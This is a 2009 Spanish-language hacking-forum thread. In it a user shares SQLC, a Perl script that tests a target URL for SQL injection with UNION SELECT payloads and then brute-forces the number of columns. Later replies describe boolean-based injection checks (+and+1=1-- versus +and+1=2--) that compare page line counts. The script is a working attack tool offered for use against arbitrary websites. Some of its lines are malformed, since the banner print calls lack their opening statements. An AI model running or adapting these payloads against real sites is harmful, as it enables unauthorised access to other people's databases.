Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: xassiz_ en 20 Diciembre 2009, 15:08 pm



Título: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: xassiz_ en 20 Diciembre 2009, 15:08 pm
SQLC (SQL Columnator) - by xassiz

(http://xasscapturas.webcindario.com/Aplicaciones/SQLC1.jpg)

SQLC es mi herramienta en Perl, capaz de devolverte el número de columnas de una web, luego de comprobar si realmente es vulnerable.


Un ejemplo de su uso:

(http://xasscapturas.webcindario.com/Aplicaciones/SQLC2.jpg)


Aquí teneis el código:

Código
  1. #!/usr/bin/perl
  2.  
  3. use LWP::UserAgent;
  4.  
  5. if (!$ARGV[0]) {
  6.  
  7.  
  8.  
  9.  
  10.          .d8888.  .d88b.  db       .o88b.
  11.          88'  YP .8P  Y8. 88      d8P  Y8
  12.         `8bo.    88    88 88      8P      
  13.           `Y8b.  88    88 88      8b      
  14.         db   8D  `8P  d8' 88booo. Y8b  d8
  15.         `8888Y'   `Y88'Y8 Y88888P  `Y88P'
  16.  
  17.  
  18.                 [+] Modo de uso:
  19.  
  20.  perl SQLC.pl http://www.target.com/news.php?id=
  21.  
  22.           -------------------------------
  23.  
  24.                  Coded by xassiz
  25.  
  26.  
  27. );
  28.  
  29. exit 1;
  30.  
  31. }
  32.  
  33.  
  34.  
  35.          .d8888.  .d88b.  db       .o88b.
  36.          88'  YP .8P  Y8. 88      d8P  Y8
  37.         `8bo.    88    88 88      8P      
  38.           `Y8b.  88    88 88      8b      
  39.         db   8D  `8P  d8' 88booo. Y8b  d8
  40.         `8888Y'   `Y88'Y8 Y88888P  `Y88P'
  41.  
  42. );
  43.  
  44. $target = $ARGV[0];
  45.  
  46. print("\n [+] Website a atacar: $target \n\n");
  47. print("\n [?] Comprobando vulnerabilidad \n");
  48.  
  49. $vulnerabilidad = LWP::UserAgent->new() or die;
  50. $comprobacion = $vulnerabilidad->get($target."-1+union+select+69--");
  51.  
  52. if ($comprobacion->content =~ /The used SELECT statements have a different number of columns/ || $comprobacion->content =~ /You have an error in your SQL syntax/ || $comprobacion->content =~ /mysql_fetch/ || $comprobacion->content =~ /mysql_num_rows/ || $comprobacion->content =~ /MySQL/)
  53. {
  54.  
  55. print("\n [+] Objetivo Vulnerable \n\n\a");
  56. print("\n [?] Buscando numero de columnas \n");
  57.  
  58. $count = 2;
  59. $max = 500;
  60.  
  61. $precolumnator = LWP::UserAgent->new() or die;
  62. $precolumns = $precolumnator->get($target."-1+union+select+0x78617373697a--");
  63.  
  64. if ($precolumns->content =~ /xassiz/)
  65. {
  66. print("\n [+] La website tiene 1 columna \n\n\a");
  67.  
  68. exit 1;
  69. }
  70.  
  71. $inject = ",0x78617373697a";
  72.  
  73. while ($count <= $max) {
  74.  
  75. $columnator = LWP::UserAgent->new() or die;
  76. $columns = $columnator->get($target."-1+union+select+0x78617373697a".$inject."--");
  77.  
  78. if ($columns->content =~ /xassiz/)
  79. {
  80. print("\n [+] La website tiene $count columnas \n\n\a");
  81. exit 1;
  82. }
  83.  
  84. $inject = $inject.",0x78617373697a";
  85. $count ++;
  86. }
  87.  
  88. print("\n [-] No se encontro el numero de columnas \n\n\a");
  89. exit 1;
  90.  
  91. } else {
  92.  
  93. print("\n [-] Objetivo No Vulnerable \n\n\a");
  94.  
  95. exit 1;
  96.  
  97. }
  98.  
  99. #Autor = xassiz;
  100. #Blog  = http://xassiz.blogspot.com;
  101.  


Espero que os guste amigos!  Saludos (http://foro.latinohack.com/images/smilies/action-smiley-033.gif)


PD: podeis complementarla con SQL Copy Column (http://foro.elhacker.net/nivel_web/tool_sql_copy_column_by_xassiz-t278532.0.html), que le indicas el numero de columnas y directamente te pone la inyección en el portapapeles :D


Título: Re: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: WHK en 20 Diciembre 2009, 15:30 pm
Hola, está entretenido, lo voy a agregar al post de recopilaciones  :P aver si le das un par de actualizaciones para que sea cada ves mejor  :D.

Saludos.


Título: Re: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: xassiz_ en 20 Diciembre 2009, 15:31 pm
Hola, está entretenido, lo voy a agregar al post de recopilaciones  :P aver si le das un par de actualizaciones para que sea cada ves mejor  :D.

Saludos.
Gracias WHK ;D Hay que contar que es mi primera tool en perl xD


Título: Re: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: ~ Yoya ~ en 21 Diciembre 2009, 15:48 pm
pss, dectecta solo sqli si la web tira errores o si no no, porque no hases un +and+1=1 y +and+1=0 y luego conparas el codigo de fuente aver si son iguales y diferentes... Con eso puedes dectectar si es vulnerable.

Saludos!


Título: Re: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: 08l00D en 21 Diciembre 2009, 16:50 pm
pss, dectecta solo sqli si la web tira errores o si no no, porque no hases un +and+1=1 y +and+1=0 y luego conparas el codigo de fuente aver si son iguales y diferentes... Con eso puedes dectectar si es vulnerable.

Saludos!
No siempre, muchas webs renuevan su contenido dinamicamente y por lo tanto se cambia el codigo de la web tambien ...


Título: Re: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: ~ Yoya ~ en 22 Diciembre 2009, 01:47 am
si es vulnerable a sqli debe funcionar, ya que dectecta los posibles errores sqli y si no tira errores no lo dectecta, aunque sea vulnerable a sqli, yo tengo una tools similar y al principio la hice que dectecte los posibles errores sqli y por muchas recomendaciones la hice que conparara el numero de lineas.

Código:
if ($comprobacion->content =~ /The used SELECT statements have a different number of columns/ || $comprobacon->content =~ /You have an error in your SQL syntax/ || $comprobacion->content =~ /mysql_fetch/ || $comprobacion->content =~ /mysql_num_rows/ || $comprobacion->content =~ /MySQL/)
{


Título: Re: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: YST en 22 Diciembre 2009, 04:18 am
si es vulnerable a sqli debe funcionar, ya que dectecta los posibles errores sqli y si no tira errores no lo dectecta, aunque sea vulnerable a sqli, yo tengo una tools similar y al principio la hice que dectecte los posibles errores sqli y por muchas recomendaciones la hice que conparara el numero de lineas.

Código:
if ($comprobacion->content =~ /The used SELECT statements have a different number of columns/ || $comprobacon->content =~ /You have an error in your SQL syntax/ || $comprobacion->content =~ /mysql_fetch/ || $comprobacion->content =~ /mysql_num_rows/ || $comprobacion->content =~ /MySQL/)
{
Esas me suenan a las palabras de OzX :xD ¿El te lo recomendo no ? Por que en varias tool lo hacia de esa manera :P

Por cierto esa es una estupenda manera contando el numero de "\n"


Título: Re: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: ~ Yoya ~ en 22 Diciembre 2009, 22:35 pm
Sip, al principio yo comparava los dos codigos de fuente aver si heran iguales y asi era mas lento y gastaba mas recursos, luego me recomendo que saque el numero de lineas y lo compare xD.

Gran tio xD.


Título: Re: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: xassiz_ en 23 Diciembre 2009, 11:57 am
Sip, al principio yo comparava los dos codigos de fuente aver si heran iguales y asi era mas lento y gastaba mas recursos, luego me recomendo que saque el numero de lineas y lo compare xD.

Gran tio xD.

No me estoy enterando mucho de lo que decís xD

A que os referís con el número de lineas? del codigo de la pagina entera?


Título: Re: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: ~ Yoya ~ en 23 Diciembre 2009, 14:55 pm
Ej:

Tengo esta url vulnerable a SQLI

Código:
www.pagina.com/index.php?ud=1

Entonse hare dos peticiones, una con +and+1=1-- y otra con +and+1=2--
Y quedaria asi:
Código:
www.pagina.com/index.php?ud=1+and+1=1--
www.pagina.com/index.php?ud=1+and+1=2--
Le hago una peticion get a cada una y guardo el codigo de fuente en dos variables o arrays.
Luego le saco el numero de linea a una variable que almacena el codigo de fuente y le saco el numero de linea a la otra variable que almacena el codigo de fuente, luego si el numero de linea de las dos variables son iguales la web no es vulnerable pero si los numeros de linea son diferente las web es vulnerable.


Título: Re: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: xassiz_ en 23 Diciembre 2009, 20:29 pm
Ah interesante, pero igual si una peticion es verdadera y la otra falsa puede cambiar la página sin variar el número de líneas no?


Título: Re: [Tool] SQLC (SQL Columnator) - by xassiz
Publicado por: YST en 23 Diciembre 2009, 21:32 pm
Ah interesante, pero igual si una peticion es verdadera y la otra falsa puede cambiar la página sin variar el número de líneas no?

Generalmente no ya que las peticiones normalmente se hacen para mostrar contenido en la web :P ( Todo normalmente ya que existen muchas exepciones :P )